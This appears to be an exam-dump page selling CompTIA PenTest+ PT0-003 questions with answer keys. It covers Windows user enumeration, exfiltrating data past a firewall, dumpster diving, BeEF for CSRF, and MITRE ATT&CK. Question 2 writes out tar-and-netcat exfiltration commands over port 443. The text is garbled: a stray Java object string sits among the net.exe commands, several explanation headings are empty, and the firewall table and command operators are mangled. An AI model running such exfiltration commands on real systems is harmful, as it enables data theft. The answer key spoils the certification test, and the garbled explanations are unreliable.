PT0-003 Q&As

CompTIA PenTest+

Pass CompTIA PT0-003 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.geekcert.com/pt0-003.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

QUESTION 1

A penetration tester gains access to a Windows machine and wants to further enumerate users with native operating system credentials. Which of the following should the tester use?

A. route.exe print

B. netstat.exe -ntp

C. net.exe commands

D. strings.exe -a

Correct Answer: C

To further enumerate users on a Windows machine using native operating system commands, the tester should use net.exe commands. The net command is a versatile tool that provides various network functionalities, including user

enumeration.

net.exe:

net user

uk.co.certification.simulator.questionpool.PList@a43cf82 net localgroup administrators

Enumerating Users:

Pentest References:

Using net.exe commands, the penetration tester can effectively enumerate user accounts and group memberships on the compromised Windows machine, aiding in further exploitation and privilege escalation.

QUESTION 2

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:

Action | SRC

| DEST

| -

Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP

Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP

Allow | 192.168.10.0/24 : 1-65535 | 0.0.0.0/0:443 | TCP Block | . | . | *

Which of the following commands should the tester try next?

A. tar -zcvf /tmp/data.tar.gz /path/to/data andand nc -w 3 443

B. gzip /path/to/data andand cp data.gz 443

C. gzip /path/to/data andand nc -nvlk 443; cat data.gz \\' nc -w 3 22

D. tar -zcvf /tmp/data.tar.gz /path/to/data andand scp /tmp/data.tar.gz

Correct Answer: A

Given the firewall policy, let\\'s analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:

Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP). Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP). Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).

Block: All other traffic (*).

Breakdown of Options:

Option A: tar -zcvf /tmp/data.tar.gz /path/to/data andand nc -w 3 443

Option B: gzip /path/to/data andand cp data.gz 443 Option C: gzip /path/to/data andand nc -nvlk 443; cat data.gz | nc -w 3 22 Option D: tar -zcvf /tmp/data.tar.gz /path/to/data andand scp /tmp/data.tar.gz

References from Pentest:

Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A. Forge HTB:

This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc. Horizontall HTB: Highlights the

importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.

QUESTION 3

A penetration tester who is performing a physical assessment of a company\\'s security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

A. Badge cloning

B. Dumpster diving

C. Tailgating

D. Shoulder surfing

Correct Answer: B

QUESTION 4

A penetration tester would like to leverage a CSRF vulnerability to gather sensitive details from an application\\'s end users. Which of the following tools should the tester use for this task?

A. Browser Exploitation Framework

B. Maltego

C. Metasploit

D. theHarvester

Correct Answer: A

Cross-Site Request Forgery (CSRF) vulnerabilities can be leveraged to trick authenticated users into performing unwanted actions on a web application. The right tool for this task would help in exploiting web-based vulnerabilities, particularly

those related to web browsers and interactions.

Browser Exploitation Framework (BeEF) (Answer: A):

Maltego (Option B):

Metasploit (Option C):

theHarvester (Option D):

Conclusion: The Browser Exploitation Framework (BeEF) is the most suitable tool for leveraging a CSRF vulnerability to gather sensitive details from an application\\'s end users. It is specifically designed for browser-based exploitation, making

it the best choice for this task.

QUESTION 5

Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

A. NIST SP 800-53

B. OWASP Top 10

C. MITRE ATTandCK framework

D. PTES technical guidelines

Correct Answer: C

Reference: https://digitalguardian.com/blog/what-mitre-attck-framework